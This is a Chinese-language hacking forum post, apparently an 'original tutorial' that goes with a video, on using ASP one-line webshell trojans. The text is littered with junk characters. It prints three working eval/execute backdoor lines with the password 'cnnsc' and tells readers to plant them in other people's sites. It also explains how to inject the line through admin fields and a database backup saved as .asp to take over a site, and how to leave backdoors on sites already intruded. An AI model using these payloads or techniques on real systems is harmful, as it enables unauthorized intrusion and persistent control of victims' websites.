[原创教程] 一句话木马的使用方法视频 木马, 视频

oooooo

一句话木马的使用  
0 l( g- X3 W+ m$ H' D1 T$ P2 V! F# s2 o6 p  {- x* O5 ^
by:柔肠寸断 790653916  www.3ast.com.cn  不免费收点徒弟~~~" I  Q' y" s# S6 ^- N# ]& g

: i, S' O# N  A: O2 q# [
3 P3 y5 s1 @! @# f, P* L1、咱们先弄懂怎么使用的。) r, l* e/ A$ S9 t' e' v# G
. ~7 f  U7 }/ \0 x6 g
分为客户端和服务端) C8 ^( i9 F& v- n! j. B( R+ N
0 H2 U; i* L9 F6 L
# M/ q, I4 _7 I; i& I* c5 |2 ]2 W& K
客户端是连接上去的程序，也可以是网页
2 W' F' a: L4 R4 k
  I) r  Z+ t- Z# Hhttp://www.3ast.com.cn/tool/yijuhua.html
: J0 R! m* W+ d( M, v
' }  h3 }8 s) s服务端就是一段代码，代码里有对应的“密码”
6 }; K0 |- b( }' ]/ K9 _
% Y  a. n# d* Y  C+ g# e$ P4 u提供三个服务端:
6 T* |8 o+ N1 H2 d$ S8 j1. <%eval request("cnnsc")%>
2 u* ?2 g1 y# v; }+ s9 A9 J2. <%execute request("cnnsc")%> 1 V$ ]' p6 p' F0 o! h2 r+ C
3. <%execute(request("cnnsc"))%> . K: q! ]- V! I1 o* x

; y! I; J" m3 H$ i, Bcnnsc--密码
, ]' p/ K0 o5 Q5 H( _. q$ B
- N8 D2 |) O3 Z( P我们只要把这个代码插入到对方网站的网页中就可以了
0 ^) K, e# c. [2 P3 j, M8 {* A, Y  W, j, S# M( Y- x% E
我演示下，用已经有的一个webshell添加一个asp文件，加上 <%eval request("cnnsc")%>
" z* X; i  @" m+ U  v; ]8 J- f! p7 E) d# T6 K8 h2 a
换一个页面，添加过了。访问的时候一切正常，看链接
1 o- a: H) H8 i9 r( _; k$ `& ?& }5 }& E. \) r) m* M
上传之后) D2 C$ F; z9 w6 G2 u

" J# ~( n0 [! A链接上去了% T7 u0 e: B; e* L9 w' V' P8 ]
OK.这个就是链接的主要过程
: J, V3 }# a( y9 x' ]% ~4 v# D4 Y! J  E3 a3 I( p
8 R  D* g; C9 s2 N& S! y1 |

& H. K7 d) X; K4 w# j7 `; Y8 b
2、然后懂得哪里会用上、怎么用8 Y0 p& |3 O  H9 p  m

5 K2 `. F( t) `+ K(1)有的时候我们进入了XXX的后台，后台有备份数据库，那么我们就可以在系统中插入这个一句话代码，任意地方，比如皮肤名称啊，文章标题啊，只要是会被写进数据库的就可以了，然后备份数据库成一个asp文件（也有php的一句话），然后链接就可以拿下来了
& g4 Q( I! P, r4 `
0 m0 m/ ^- c9 V- k1 f" G! ^  R(2)可以给自己入侵的网站留下后门。。。。/ p3 _! Q* o. j) k% h+ e3 m, b3 h
. u3 |& ?# j' _4 g
(3)我再想想。。。哎，想不出，还是要自己多多实践。。。。6 K9 D  T' e+ O: H

. K* O. p" ~0 g! h  ~% k/ P  O( X好了，教程到此结束，不懂的可以再来问我。。。790653916